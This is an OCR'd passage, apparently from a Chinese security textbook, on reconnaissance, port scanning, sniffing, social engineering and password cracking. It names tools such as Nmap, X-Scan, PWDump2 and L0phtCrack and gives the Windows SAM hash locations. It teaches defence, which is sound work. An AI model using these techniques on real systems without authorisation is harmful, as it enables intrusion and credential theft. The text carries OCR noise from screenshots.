味 着 存 取 或 者 分 析 这 种 信息 比较 容易 ,并 且 没 有 犯罪 的 因素 ,是 很 合法 的 。 例 如 ,公司 新 闻 
信息 ,如 某 公司 为 展示 其 技术 的 先进 性 和 能 为 客户 提供 最 好 的 监控 能 力 、 容 错 能 力 、 服 务 速 
度 ,往往 会 不 经 意 间 泄露 了 系统 的 操作 平台 、 交 换 机 型 号 及 基本 的 线路 连接 。 又 如 ,公司 员 
工 信 息 , 大 多 数 公司 网 站 上 附 有 姓名 地 址 短 ,在 上 面 不 仅 能 发 现 CEO 和 财务 总 监 ,还 可 能 知 
道 公 司 的 总 裁 或 主管 是 谁 。 还 有 ,一 些 公司 新 闻 组 ,现在 越 来 越 多 的 技术 人 员 使 用 新 闻 组 、 
论坛 来 帮助 解决 公司 的 问题 ,攻击 者 查看 这 些 要 求 并 把 它们 与 电子 信箱 中 的 公司 名 匹配 ,这 
样 就 能 提供 一 些 有 用 的 信息 。 使 攻击 者 知道 公司 有 什么 设备 ,也 帮助 他 们 揣测 出 技术 支持 
人 员 的 水 平等 。 

对 于 攻击 者 而 言 ,任何 有 域名 的 公司 必定 泄露 某 些 信息 。 例 如 ,大 多 数 的 DNS 服务 器 
允许 用 户 获取 域名 记录 文件 内 容 , 这 样 就 可 以 了 解 到 网 站 的 详细 网 络 分 布 结构 。 另 外 网 络 
服务 商 可 以 查询 得 到 公司 地 址 及 人 员 内 容 邮 件 、 电 话 , 以 及 单位 注册 的 IP 范围 等 重要 信息 。 
有 时 这 一 步 比 扫描 还 重要 。 

信息 收集 的 工具 软件 有 以 下 几 种 。 
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(1) Ping ,fping\ping sweeping. 

(2) ARP 探测 。 

(3) Finger. 

(4) Whois. 

(5) DNS/nslookup. 

(6) 搜索 引擎 (Google AE). 

(7) Telnet. 

想 要 得 到 一 个 网 络 IP 地 址 ,最 简单 方法 是 Ping 域名 。Ping 一 个 域名 时 ,程序 做 的 第 一 
件 事情 是 设法 把 主机 名 解析 为 IP 地 址 并 输出 到 屏幕 。 攻 击 者 得 到 网 络 的 地 址 ,能够 把 此 网 
络 当 做 初始 点 。 

[B] 5-1] Ping 新 浪 网 站 的 域名 。 


C:\> Ping www. sina. com. cn 
Pinging tucana. sina. com. cn [60. 28.175.227] with 32 bytes of data: 


Reply from 60.28.175.227: bytes = 32 time = 44ms TTL = 53 
Reply from 60. 28.175.227: bytes = 32 time = 43ms TTL = 53 
Reply from 60. 28.175.227: bytes = 32 time = 44ms TTL = 53 
Reply from 60. 28.175.227: bytes = 32 time = 46ms TTL = 53 


Ping statistics for 60.28.175.227: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli- seconds: 


Minimum = 43ms, Maximum = 46ms, Average = 44ms 


Ping 主要 有 以 下 一 些 作 用 和 特点 。 

(1) 用 来 判断 目标 是 否 活动 。 

(2) 最 常用 、 最 简单 的 探测 手段 。 

(3) Ping 程序 一 般 是 直接 实现 在 系统 内 核 中 的 ,而 不 是 一 个 用 户 进程 。 

另 一 个 有 效 地 搜索 工具 是 Whois。 攻 击 者 会 对 一 个 域名 执行 Whois 程序 以 找到 附加 
的 信息 。UNIX 的 大 多 数 版 本 装 有 Whois, 对 于 Windows 操作 系统 ,要 执行 Whois 查找 , 需 
要 一 个 第 三 方 的 工具 ,如 Sam Spade。 通 过 查看 Whois 的 输出 ,攻击 者 会 得 到 一 些 非常 有 用 
的 信息 ,如 一 个 物理 地 址 一些 人 名 和 电话 号 码 ( 可 利用 来 发 起 一 次 社交 工程 攻击 ) 。 非 常 重 
要 的 是 通过 Whois 可 获得 攻击 域 的 主要 的 (及 次 要 的 ) 服 务 器 IP 地 址 。 

【 例 5-2] 利用 Sam Spade 学 习 Whois 使 用 。 

首先 ,安装 并 启动 Sam Spade 软件 ,在 地 址 栏 输入 *www. vipshop. com” (HE m & ) AY Jk 
名 ,如 图 5-2 所 示 。 

然后 , 单 击 Whois 图 标 ,执行 Whois www. vipshop. com 命令 后 结果 如 下 : 
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È Spade - [Spade Log] 
GP Hile Edit View Window Basics Tools Help 


wwvipshopcom =|| => | @[10_=] &Magic js gE 


>, 12/29/12 09:49:56 Spade Log 
f 12/29/12 09:49:56 script Console 


F 
3 


Æ 5-2 Sam Spade 软件 界面 


Registrant: 
vipshop. com 
31,east fangcun road, 
guangzhou, guangdong 510370 
CN 


Domain Name: VIPSHOP. COM 
Administrative Contact, Technical Contact, Zone Contact: 
vipshop. com 
vipshop china 
31, east fangcun road, 
guangzhou, guangdong 510370 
CN 
02022330000 
it@vipshop. com 


Domain created on 29 ~- Jan ~ 2003 
Domain expires on 29 — Jan ~ 2020 
Last updated on 26 — Dec — 2012 


Domain servers in listed order: 


NS30. VIPSHOP. COM 
NS7. VIPSHOP. COM 
NS8. VIPSHOP. COM 


Domain registration and hosting powered by DomainDiscover 
As low as $9/year, including FREE: responsive toll- free support, 
URL/frame/email forwarding, easy management system, and full featured DNS. 
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以 上 结果 显示 ,通过 Whois 可 以 收集 到 更 多 的 信息 。 
5.2.2 网 络 扫描 


1. 网 络 扫描 概述 

扫描 技术 是 主要 的 一 种 信息 收集 型 攻击 。 网 络 扫描 的 目的 就 是 利用 各 种 工具 对 踩点 所 
确定 的 攻击 目标 的 IP 地 址 或 地 址 段 的 主机 查找 漏洞 。 扫 描 采取 模拟 攻击 的 形式 对 目标 可 
能 存在 的 已 知 安全 漏洞 逐 项 进行 检查 ,目标 可 以 是 工作 站 、 服 务 器 、 交 换 机 、 路 由 器 和 数据 库 
应 用 等 。 根 据 扫描 结果 向 扫描 者 或 管理 员 提 供 周 密 可 靠 的 分 析 报 告 。 扫 描 分 成 两 种 策略 : 
一 种 是 主动 式 策略 , 另 一 种 是 被 动 式 策略 。 

被 动 式 策略 就 是 基于 主机 之 上 ,对 系统 中 不 合适 的 设置 .脆弱 的 口令 以 及 其 他 同安 全 规 
则 抵触 的 对 象 进 行 检 查 。 主 动 式 策略 是 基于 网 络 的 ,通过 执行 一 些 脚本 文件 模拟 对 系统 进 
行 攻击 的 行为 并 记录 系统 的 反应 ,从 而 发 现 其 中 的 漏洞 。 

被 动 式 扫描 不 会 对 系统 造成 破坏 ,而 主动 式 扫描 对 系统 进行 模拟 攻击 ,可 能 会 对 系统 造 
成 破坏 。 

主动 式 扫描 一 般 可 分 为 活动 主机 探测 ICMP 查询 .网 络 Ping 扫描 、 端 口 扫 描 、 标 识 
UDP 和 TCP 服务 .指定 漏洞 扫描 、 综 合 扫描 。 

扫描 方式 也 可 以 分 成 两 大 类 : 慢 速 扫描 和 乱 序 扫描 。 

(1) 慢 速 扫描 : 对 非 连续 端口 进行 扫描 ,并 且 源 地 址 不 一 致 .时 间 间 隔 长 .没有 规律 的 
扫描 。 由 于 一 般 扫描 侦 测 器 的 实现 是 通过 监视 某 个 时 间 里 一 台 特 定 主 机 发 起 的 连接 的 数目 
(如 每 秒 10 次 ) 来 决定 是 否 在 被 扫描 ,这 样 黑客 可 以 通过 使 用 扫描 速度 慢 一 些 的 扫描 软件 进 
行 扫 描 。 

(2) 乱 序 扫描 : 对 连续 的 端口 进行 扫描 , 源 地 址 一 致 .时 间 间 隔 短 的 扫描 。 

2. 网 络 扫描 工具 

网 络 扫描 工具 是 一 种 能 够 自动 检测 远程 或 本 地 主机 安全 弱点 的 程序 ,通过 它 可 以 获得 
远程 计算 机 的 各 种 端口 分 配 及 提供 的 服务 和 它们 的 版 本 。 扫 描 器 工作 时 是 通过 选用 不 同 的 
TCP/IP 端口 的 服务 ,并 记录 目标 主机 给 予 的 应 答 , 以 此 收集 到 关于 目标 主机 的 各 种 有 用 
信息 。 

1) 流光 (Fluxay) 

流光 是 中 国 第 一 代 著 名 的 黑客 小 榕 的 作品 ,是 国内 最 著名 的 扫描 、 入 侵 工 具 , 集 端口 扫 
描 、 字 典 工具 、 入 侵 工 具 \ 口 令 猜 解 等 多 种 功能 于 一 身 ,界面 美观 ,功能 强大 。 它 可 以 探测 
POP3 FTP、SMTP 、IMAP、SQL IPC IIS, Finger 等 各 种 漏洞 ,并 针对 各 种 漏洞 设计 了 不 同 
的 破解 方案 ,能够 在 有 漏洞 的 系统 上 轻易 得 到 被 探测 的 用 户 密码 。 

2) Nmap 

Nmap 是 一 个 优秀 的 端口 扫描 器 , 它 可 以 检测 出 操作 系统 的 版 本 号 。 最 初 它 只 是 一 个 
著名 的 黑客 工具 ,但 很 快 得 到 安全 工程 师 的 青睐 ,成 为 著名 的 网 络 安全 漏洞 的 检测 工具 。 

Nmap 是 在 免费 软件 基金 会 的 GNU General Public License (GPL) 下 发 布 的 ,可 从 
www. insecure. org/nmap 站 点 上 免费 下 载 。 下 载 格式 可 以 是 tgz 格式 的 源码 或 RPM 格 
式 。 此 外 ,还 有 用 于 NT 环境 的 版 本 NmapNT, 但 功能 相对 弱 一 点 。 
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Nmap 被 开发 用 于 允许 系统 管理 员 查 看 一 个 大 的 网 络 系统 有 哪些 主机 以 及 其 上 运行 何 
种 服务 。 它 支持 多 种 协议 的 扫描 ,如 UDP、TCP connect()、TCP SYN (half open)、FTP 
proxy (bounce attack) ,Reverse-ident, ICMP (ping sweep)\FIN.ACK sweep, Xmas Tree, 
SYN sweep 和 Null 扫描 。Nmap 还 提供 一 些 实 用 功能 如 通过 TCP/IP 来 甄别 操作 系统 类 
型 .秘密 扫描 、\ 动 态 延 迟 和 重 发 .平行 扫描 、 通 过 并 行 的 Ping 监测 下 属 的 主机 、 欺 骗 扫描 、 端 
口 过 滤 探测 .直接 的 RPC 扫描 、 分 布 扫描 灵活 的 目标 选择 以 及 端口 的 描述 。 

Nmap 还 可 以 报告 远程 主机 下 面 的 特性 : 使 用 的 操作 系统 、TCP 连续 性 、 在 各 端口 上 绑 
定 的 应 用 程序 用 户 的 用 户 名 、DNS 名 ,主机 是 否 是 个 Smurf 地 址 以 及 一 些 其 他 功能 。 

3) Superscan 

Superscan 是 一 个 功能 强大 的 端口 扫描 工具 , 它 可 以 通过 Ping 来 检验 目标 计算 机 是 否 
在 线 , 支 持 IP 和 域名 相互 转换 ,还 可 以 检验 一 定 范围 内 目标 计算 机 的 端口 情况 和 提供 的 服 
务 类 别 。Superscan 可 以 自 定义 要 检验 的 端口 ,并 可 以 保存 为 端口 列表 文件 , 它 还 自 带 了 一 
个 木马 端口 列表 ,通过 这 个 列表 可 以 检测 目标 计算 机 是 否 有 木马 ,同时 用 户 也 可 以 自己 定 
义 、 修 改 这 个 木马 端口 列表 。 在 Superscan 找到 的 主机 上 , 单 击 右键 可 以 实现 HTTP 浏览 、 
Telnet 登录 FTP 上传 .域名 查询 等 功能 。 

4) X-Scan 

X-Scan 是 由 国内 著名 的 网 络 安全 组 织 * 安 全 焦点 ?开发 的 完全 免费 的 漏洞 扫描 软件 OK 
用 多 线程 方式 对 指定 IP 地 址 或 IP 地 址 范围 进行 漏洞 扫描 。 扫 描 内 容 包括 远程 服务 类 型 、 
操作 系统 类 型 及 版 本 、 各 种 弱 口 令 漏洞 .后 门 、 应 用 服务 漏洞 .网 络 设备 漏洞 .拒绝 服务 漏洞 
等 20 多 个 大 类 。 

5) X-way2.5 

X-way2. 5 是 一 个 主要 采用 多 线程 形式 对 服务 器 系统 进行 漏洞 扫描 和 安全 测试 的 工具 。 
同 流光 一 样 , 它 最 大 的 特点 也 是 高 集成 度 , 除 了 拥有 类 似 于 流光 中 的 TIS 远程 命令 及 SQL 
远程 命令 外 ,还 拥有 流光 目前 不 具备 的 一 些 功 能 ,在 这 一 点 上 ,X-way2. 5 与 流光 相 比 , 毫 不 
逊色 。 

6) SSS 

SSS(Shadow Security Scanner) 是 俄罗斯 的 一 套 非常 专业 的 安全 漏洞 扫描 软件 ,能 够 扫 
描 目 标 服务 器 上 的 各 种 漏洞 ,包括 很 多 漏洞 扫描 、 端 口 扫描 、 操 作 系 统 检测 、 账 号 扫描 等 ,而 
且 漏 洞 数据 可 以 随时 更 新 。 

[B 5-3) 使 用 X-Scan 扫描 漏洞 。 

(1) 启动 X-Scan 软件 ,显示 主 界面 如 图 5-3 所 示 。 

(2) 对 扫描 范围 进行 设置 。 选 择 * 设 置 ”扫描 参数 "选项 ,在 打开 的 对 话 框 中 选择 * 检 
测 范围 ”, 按 示例 要 求 ,可 以 设置 一 台 主 机 地 址 ,也 可 以 设置 一 部 分 主机 地 址 。 本 例 选择 地 址 
范围 172. 16. 10. 190-172. 16. 10.195, 如 图 5-4 所 示 。 

(3) 对 扫描 参数 进行 设置 。 选 择 “ 全 局 设置 "和 “插件 设置 ”, 设 置 扫描 参数 ,本 例 采用 默 
认 设 置 ,如 图 5-5 所 示 。 

(4) 开始 对 目标 范围 主机 进行 扫描 ,如 图 5-6 所 示 。 

(5) 扫描 结束 后 ,查看 扫描 报告 ,如 图 5-7 所 示 。 
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5-7 查看 扫描 报告 


5.2.3 网 络 监听 


网 络 监听 是 指 通过 截获 他 人 网 络 上 通信 的 数据 流 , 并 非法 从 中 提取 重要 信息 的 一 种 方 
a 网 络 监听 是 主机 的 一 种 工作 模式 ,在 这 种 模式 下 ,主机 可 以 接收 到 本 网 络 段 在 同一 物理 
道上 传输 的 所 有 信息 ,而 不 管 这 些 信息 的 发 送 方 和 接收 方 是 谁 ,而 攻击 者 极 有 可 能 在 两 端 
ted 此 时 车 两 人 台 主 机 进行 数据 通信 的 信息 没有 加 密 , 只 要 使 用 网 络 监听 工具 
就 可 以 轻而易举 地 截取 包括 账号 在 内 的 信息 资料 ,虽然 网 络 监听 获得 的 用 户 账户 和 口令 有 

一 定 的 局 限 性 ,但 是 监听 者 往往 能 够 获得 其 所 在 网 络 的 所 有 用 户 的 账户 和 口令 。 
网 络 监听 的 目的 是 截获 通信 的 内 容 , 监 听 的 手段 是 对 协议 进行 分 析 。 利 用 现 有 网 络 协 
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议 的 一 些 漏 洞 来 实现 ,不 直接 对 受害 主机 系统 的 整体 性 进行 任何 操作 或 破坏 。 网 络 窃听 只 
对 受害 主机 发 出 的 数据 流 进行 操作 ,不 与 主机 交换 信息 ,也 不 影响 受害 主机 的 正常 通信 。 

Sniffer Pro 就 是 一 个 完善 的 网 络 监听 工具 。 

监听 器 Sniffer 的 原理 : 在 局 域 网 中 与 其 他 计算 机 进行 数据 交换 的 时 候 , 发 送 的 数据 包 
发 往 所 有 连 在 一 起 的 主机 ,也 就 是 广播 ,在 报头 中 包含 目标 机 的 正确 地 址 。 因 此 只 有 与 数据 
包 中 目标 地 址 一 致 的 那 台 主机 才 会 接收 数据 包 , 其 他 的 机 器 都 会 将 包 丢弃 。 但 是 ,当主 机 工 
作 在 监听 模式 下 时 ,无 论 接收 到 的 数据 包 中 目标 地 址 是 什么 ,主机 都 将 其 接收 下 来 。 然 后 对 
数据 包 进 行 分 析 ,就 得 到 了 局 域 网 中 通信 的 数据 。 一 台 计 算 机 可 以 监听 同一 网 段 所 有 的 数 
据 包 ,不 能 监听 不 同 网 段 的 计算 机 传输 的 信息 。 

防止 监听 的 手段 是 建设 交换 网 络 、 使 用 加 密 技术 和 使 用 一 次 性 口令 技术 。 

除了 非常 著名 的 监听 软件 Sniffer Pro 以 外 ,还 有 一 些 常 用 的 监听 软件 嗅 探 经 典 
(Iris) ,密码 监听 工具 (Win Sniffer)、 密 码 监 听 工 具 (pswmonitor) 和 非 交 换 环 境 局 域 网 的 
FsSniffer 等 。 

Sniffer Pro 是 一 款 非常 著名 的 监听 工具 ,但 是 Sniffer Pro 不 能 有 效 地 提取 有 效 的 信息 。 


5.3 网 络 人 侵 


5.3.1 社会 工程 学 攻击 


社会 工程 是 使 用 计谋 和 假 情报 去 获得 密码 和 其 他 敏感 信息 的 科学 ,研究 一 个 站 点 的 策 
略 其 中 之 一 就 是 尽 可 能 多 地 了 解 这 个 组 织 的 个 体 , 因 此 黑客 不 断 试图 寻找 更 加 精妙 的 方法 
从 他 们 和 希望 渗透 的 组 织 那 里 获得 信息 。 

社会 工程 学 (Social Engineering) 攻 击 通常 是 利用 大 众 的 疏 于 防范 的 诡计 ,让 受害 者 掉 
入 陷阱 。 该 技巧 通常 以 交谈 欺骗、 假冒 或 口语 用 字 等 方式 ,从 合法 用 户 中 套 取 敏感 的 信息 。 

例如 ,在 2003 年 6 月 初 ,一 些 在 中 国 工商 银行 进行 过 网 上 银行 注册 的 客户 , 收 到 了 一 封 
来 自 网 络 管理 员 的 电子 邮件 ,宣称 由 于 网 络 银行 系统 升级 ,要 求 客户 重新 填写 用 户 名 和 密 
码 。 这 一 举动 随后 被 工行 工作 人 员 发 现 ,经 证 实 是 不 法 分 子 冒 用 网 站 公开 信箱 ,企图 窃取 客 
户 的 资料 。 虽 然 没 有 造成 多 大 的 损失 ,但 是 这 宗 典 型 的 电子 邮件 欺骗 案例 当时 曾 在 国内 安 
全 界 和 金融 界 掀起 了 轩然大波 ,刺激 人 们 针对 信息 安全 问题 展开 了 更 加 深入 的 讨论 。 

目前 社会 工程 学 攻击 主要 包括 两 种 方式 : 打 电 话 请 求 密码 和 伪造 E-mail。 

1. 打 电 话 请 求 密码 

尽管 不 像 前 面 讨论 的 策略 那样 聪明 , 打 电 话 询问 密码 也 经 常 奏效 。 在 社会 工程 中 那些 
黑客 冒充 失去 密码 的 合法 雇员 ,经 常 通过 这 种 简单 的 方法 重新 获得 密码 。 

2. 伪造 E-mail 

使 用 Telnet 一 个 黑客 可 以 截取 任何 一 个 身份 证 发 送 E-mail 的 全 部 信息 ,这 样 的 E-mail 
消息 是 真 的 ,因为 它 发 自 于 一 个 合法 的 用 户 。 在 这 种 情形 下 这 些 信息 显得 是 绝对 的 真实 。 
一 个 冒充 系统 管理 员 或 经 理 的 黑客 就 能 较为 轻松 地 获得 大 量 的 信息 ,黑客 就 能 实施 他 们 的 
恶意 阴谋 。 
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5.3.2 口令 攻击 


口令 认证 是 身份 认证 的 一 种 手段 。 认 证 过 程 可 以 是 用 户 对 主机 ,也 可 以 是 一 台 计 算 机 
向 另 一 台 计 算 机 通过 网 络 发 送 请 求 。 基 于 口令 认证 是 较为 常见 的 一 种 形式 。 

所 谓 的 口令 的 入侵 ,就 是 指使 用 某 些 合法 用 户 的 账号 和 口令 ,通过 认证 ,登录 到 目的 主 
机 ,然后 实施 攻击 活动 。 这 种 方法 的 前 提 是 必须 得 到 该 主机 的 某 个 合法 用 户 的 账号 ,然后 进 
行 合 法 用 户 的 口令 的 破解 。 

针对 口令 破解 的 攻击 就 是 对 目标 口令 通过 不 断 地 猜测 ,推断 进行 破解 尝试 , 越 简单 的 口 
令 越 容 易 被 破解 。 从 理论 上 来 讲 , 任 何 口 令 都 不 是 绝对 安全 的 ,这 是 因为 无 论 用 户 选 择 多 么 
复杂 的 口令 , 它 的 取 值 只 能 是 有 限 个 数值 中 的 一 个 。 

1. 暴力 攻击 

从 技术 的 角度 来 说 ,口令 保护 的 关键 在 于 增加 攻击 者 破译 口令 所 付出 的 时 间 代价 。 对 
于 固定 长 度 的 口令 ,在 足够 长 的 时 间 内 ,总 能 穷 举 出 其 全 部 可 能 的 取 值 。 如 果 有 足够 快 的 计 
算 机 能 尝试 字母 数字、 特殊 字符 等 所 有 的 组 合 , 将 能 够 最 终 破解 出 所 有 的 口令 。 这 种 类 型 
的 攻击 方式 称 为 暴力 攻击 (强力 攻击 )。 

例如 ,一 个 由 4 个 小 写字 母 组 成 的 口令 可 以 在 几 分 钟 内 破解 (大 约 共有 50 万 种 可 能 的 
HAG): 一 个 由 6 个 字符 ,包括 大 小 写 .数字 、 标 点、 特殊 字符 等 的 口令 (大 约 有 10 万 亿 种 可 
能 的 组 合 ) ,可 以 在 一 个 月 内 进行 破解 。 

2. 字典 攻击 

字典 攻击 是 将 一 些 常 见 的 、 使 用 概率 较 高 的 口令 集中 存放 在 字典 文件 中 ,用 与 强力 攻击 
类 似 的 方法 进行 逐个 尝 

一 般 攻击 者 都 有 自己 的 口令 字典 ,其 中 包括 常用 的 词 .词组 ,数字 及 其 组 合 等 ,并 在 攻击 
过 程 中 不 断 地 充实 丰富 自己 的 字典 库 , 攻 击 者 之 间 也 经 常会 交换 各 自 的 字典 库 。 使 用 一 部 
1 万 个 单词 的 词典 一 般 能 猜 出 系统 中 70% WA, 

对 付 字典 攻击 最 有 效 的 方法 就 是 设置 合适 的 口令 ,强烈 建议 不 要 使 用 自己 的 名 字 或 简 
单 的 单词 作为 自己 的 口令 。 目 前 很 多 应 用 系统 都 对 用 户 输入 的 口令 进行 强度 检测 ,如果 输 
入 了 一 个 弱 口 令 , 则 系统 会 向 用 户 警告 提示 。 

3. 组 合 攻击 

字典 攻击 只 能 发 现 字 典 里 存在 的 单词 口令 ,但 速度 很 快 。 强 力 攻 击 能 发 现 所 有 的 口令 ， 
但 是 破解 时 间 很 长 。 鉴 于 许多 管理 员 要 求 用 户 使 用 字母 和 数字 ,用 户 的 对 策 是 在 口令 后 面 
添加 几 个 数字 ,如 把 口令 ericgolf 变 成 ericgolf55 。 

有 人 认为 攻击 者 需要 使 用 强力 攻击 ,实际 上 可 以 使 用 组 合 攻击 的 方法 ,即使 用 字典 单词 
在 尾部 串 接任 意 个 字母 或 数字 。 这 种 攻击 介 于 字典 攻击 和 强力 攻击 之 间 ,攻击 效果 显著 。 

4. 针对 口令 存储 的 攻击 

通常 ,系统 为 了 验证 的 需要 ,都 会 将 口令 以 明文 或 者 密 文 的 方式 存放 在 系统 中 。 对 于 攻 
击 者 来 说 ,如 果 能 够 远程 控制 或 者 本 地 操作 目标 主机 :那么 通过 一 些 技术 手段 ,就 可 以 获取 
到 这 些 口 令 的 明文 ,这 就 是 针对 口令 存储 的 攻击 。 

不 同系 统 口 令 的 存储 位 置 不 同 ,另外 ,在 身份 验证 程序 运行 的 时 候 , 还 会 将 口令 或 口令 
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的 密 文 加 载 到 内 存 中 。 因 此 ,口令 攻击 包括 对 缓存 口令 的 攻击 ,对 口令 文件 的 攻击 和 其 他 存 
储 位 置 的 口令 攻击 等 。 

1) 针对 口令 文件 的 攻击 

文件 是 口令 存储 的 一 种 常见 形式 ,如 Windows 中 的 SAM 文件 、Linux 中 的 Shadow X 
件 。 很 多 使 用 ASP 构建 的 网 站 ,在 其 源 代 码 文件 中 往往 以 明文 形式 存放 连接 数据 库 的 账号 
和 口令 ,一 旦 攻击 者 侵入 网 站 服务 器 ,就 可 以 进一步 获取 后 台数 据 库 服务 器 的 账号 和 口令 。 

其 他 的 一 些 应 用 程序 ,如 Foxmail, 它 将 用 户 的 邮箱 口令 存放 在 相应 账号 目录 下 的 
account. stg 文件 中 ,有 专门 的 工具 可 以 破解 该 文件 ,如 月 影 Foxmail 邮件 转换 /密码 恢复 器 1.7。 

2) Windows 系统 账号 口令 攻击 

操作 系统 一 般 不 存储 明文 口令 ,而 只 保存 口令 散 列 。 在 Windows 系统 中 ,可 以 在 以 下 
几 个 位 置 中 找到 存储 的 口令 散 列 。 

(1) 注册 表 , 位 置 在 HKEY_LOCAL_MACHINE\SAM\SAM. 

(2) SAM 文件 ,位 置 在 C:\WINDOWS\system32\config\SAM, 如 图 5-8 所 示 。 

G) 恢复 盘 , 位 置 在 repair. 

(4) 某 些 系统 进程 的 内 存 中 。 


wO SE EEV hea IAW ho 
Oa- O- S| Pee zr |T- 


HAED E c: WINDOWS \systen32\ config 
AppEvent. Evt 
EVT 文件 


文件 和 文件 夹 任务 [ J merin 
CO fe Ta 
e 将 这 个 文件 天 发 和 到 ft 


default. LOG default. sav 
e stare SAV 文件 
B SH 


SAY Xf 
1 92 KB 
A SecEvent. Evt 
EVT 文件 


SAM. LOG 
文本 文档 x 
KB 64 1B 


‘SECURITY. LOG software 

文本 文档 文人 

1 18,712 KB 

software. sav SysEvent. Evt 
文件 EVI 文件 


SAY X 
628 KE 512 K 


system. LOG system, sav 
文本 文档 SAV 文件 
1 1B 400 1B 


mE TE EMEN El) 


sere 
1m 


diff z diff. L0G 
修改 日 期 :2009 年 9 月 27 日 ， 国 | 2 KEH 
9:11 256 xB E in 


5-8 SAM 文件 位 置 


在 SAM 文件 中 保存 的 不 是 口令 的 明文 ,而 是 经 过 加 密 算 法 处 理 后 的 结果 。Windows 
使 用 两 种 算法 来 处 理 明文 口令 , 即 早期 的 LM 算法 和 更 为 安全 的 NTLM 算法 。 

LM 算法: 对 数字 串 “KGS! @ + $ % ?进行 DES 加 密 。 

NTLM 算法 : 先 把 口令 变 成 Unicode 编码 ,然后 使 用 MD4 进行 Hash 运算 。 

Windows 的 口令 破解 : 可 以 利用 LOphtCrack 进行 。 在 一 台 高 端 PC 上 ,对 于 有 效 的 
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LM hash ,可 以 在 5. 5 小 时 内 破解 字母 和 数字 口令 ; 45 小 时 破解 字母 .数字 和 部 分 符号 口 
令 ,480 小 时 破解 字母 ,数字 、 全 部 符号 口令 。 

5. 口令 破解 工具 

1) LOphtCrack 

LOphtCrack 是 一 个 NT 口令 审计 工具 ,能 根据 操作 系统 中 存储 的 加 密 哈 希 计 算 NT 口 
令 , 功 能 非常 强大 ,丰富 ,是 目前 市 面 上 最 好 的 NT 口令 破解 程序 之 一 。 它 有 3 种 方式 可 以 
破解 口令 : 词典 攻击 .组 合 攻击 、 强 行 攻击 。LOphtCrack 不 仅 有 一 个 美观 .容易 使 用 的 
GUI, 而 且 利用 了 NT 的 两 个 实际 缺陷 ,这 使 得 LOphtCrack 速度 奇 快 。 

2) NTSweep 

NTSweep 使 用 的 方法 和 其 他 口令 破解 程序 不 同 。 它 不 是 下 载 口 令 并 离线 破解 ， 
NTSweep 是 利用 了 Microsoft 允许 用 户 改变 口令 的 机 制 。NTSweep 首先 取 定 一 个 单词 ， 
NTSweep 使 用 这 个 单词 作为 账号 的 原始 口令 并 试图 把 用 户 的 口令 改 为 同一 个 单词 。 如 果 
主 域 控制 机 器 返回 失败 信息 ,就 可 知道 这 不 是 原来 的 口令 。 反 之 如 果 返 回 成 功 信息 ,就 说 明 
这 一 定 是 账号 的 口令 。 因 为 成 功 地 把 口令 改 成 原来 的 值 ,用 户 永远 不 会 知道 口令 曾经 被 人 
修改 过 。NTSweep 可 从 www. packet. securify. com 下 载 。 

NTSweep 非常 有 用 ,因为 它 能 通过 防火 墙 , 也 不 需要 任何 特殊 权限 来 运行 。 但 是 也 有 
缺点 ,首先 运行 起 来 较 慢 ; 其 次 尝试 修改 口令 并 且 失 败 的 信息 会 被 记录 下 来 ,被 管理 员 检 测 
到 ; 最 后 使 用 这 种 技术 的 猜测 程序 不 会 给 出 精确 信息 ,如 有 些 情 况 不 准 用 户 更 改口 令 , 这 时 
程序 会 返回 失败 信息 ,即使 口令 是 正确 的 。 

3) NTCrack 

NTCrack 是 UNIX 破解 程序 的 一 部 分 ,但 是 在 NT 环境 下 破解 。NTCrack 与 UNIX 
中 的 破解 类 似 , 但 是 NTCrack 在 功能 上 非常 有 限 。 它 不 像 其 他 程序 一 样 提取 口令 喻 希 , 它 
和 NTSweep 的 工作 原理 类 似 。 必 须 给 NTCrack 一 个 user id 和 要 测试 的 口令 组 合 , 然 后 程 
序 会 告诉 用 户 是 否 成 功 。 

4) PWDump2 

PWDump2 不 是 一 个 口令 破解 程序 ,但 是 它 能 用 来 从 SAM 数据 库 中 提取 口令 哈 希 。 
LOphtCrack 已 经 内 建 了 这 个 特征 ,但 是 PWDump2 还 是 很 有 用 的 。 首 先 , 它 是 一 个 小 型 的 、 
易 使 用 的 命令 行 工具 ,能 提取 口令 哈 希 ; 其 次 ,目前 很 多 情况 下 LOphtCrack 的 版 本 不 能 提 
取 口 令 哈 希 。 如 SYSTEM 是 一 个 能 在 NT 下 运行 的 程序 ,为 SAM 数据 库 提供 了 很 强 的 加 
密 功 能 ,如 果 SYSTEM 在 使 用 ,LOphtCrack 就 无 法 提取 哈 希 口令 ,但 是 PWDump2 还 能 使 
用 ; 而 且 要 在 Windows2000 下 提取 哈 希 口令 ,必须 使 用 PWDump2, 因 为 系统 使 用 了 更 强 
的 加 密 模 式 来 保护 信息 。 

5) Crack 

Crack 是 一 个 旨 在 快速 定位 UNIX 口令 弱点 的 口令 破解 程序 。Crack 使 用 标准 的 猜测 
技术 确定 口令 。 它 检查 口令 是 否 为 如 下 情况 之 一 : 和 user id 相同 .单词 password, MH HB, 
字母 串 。Crack 通过 加 密 一 长 串 可 能 的 口令 ,并 把 结果 和 用 户 的 加 密 口 令 相 比较 ,看 其 是 否 
匹配 。 用 户 的 加 密 口 令 必须 是 在 运行 破解 程序 之 前 就 已 经 提供 的 。 

6) John the Ripper 

UNIX 口令 破解 程序 ,但 也 能 在 Windows 平台 运行 ,功能 强大 、 运 行 速度 快 ,可 进行 字 
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典 攻 击 和 强行 攻击 。 

7) XIT 

XIT 是 一 个 执行 词典 攻击 的 UNIX 口令 破解 程序 。XIT 的 功能 有 限 ,因为 它 只 能 运行 
词典 攻击 ,但 程序 很 小 .运行 很 快 。 

8) Slurpie 

Slurpie 能 执行 词典 攻击 和 定制 的 强行 攻击 ,要 规定 所 需要 使 用 的 字符 数目 和 字符 类 
型 。 例 如 ,可 以 能 够 Slurpie 发 起 一 次 攻击 ,使 用 7 字符 或 8 字符 、 仅 使 用 小 写字 母 口 令 进 行 
强行 攻击 。 

和 John, Crack 相 比 ,Slurpie 最 大 的 优点 是 它 能 分 布 运行 ,Slurpie 能 把 几 台 计算 机 组 成 
一 台 分 布 式 虚拟 机 器 在 很 短 的 时 间 里 完成 破解 任务 。 

【 例 5-4) 使 用 LOphtCrack 检测 Windows 弱 口 令 。 

LOphtCrack 是 一 款 网 络 管理 员 的 必 备 的 工具 , 它 可 以 用 来 检测 Windows, UNIX 用 户 
是 否 使 用 了 不 安全 的 密码 ,同样 也 是 最 好 、 最 快 的 Windows NT/Windows 2000/Windows 
XP/UNIX 管理 员 账 号 密码 破解 工具 。 

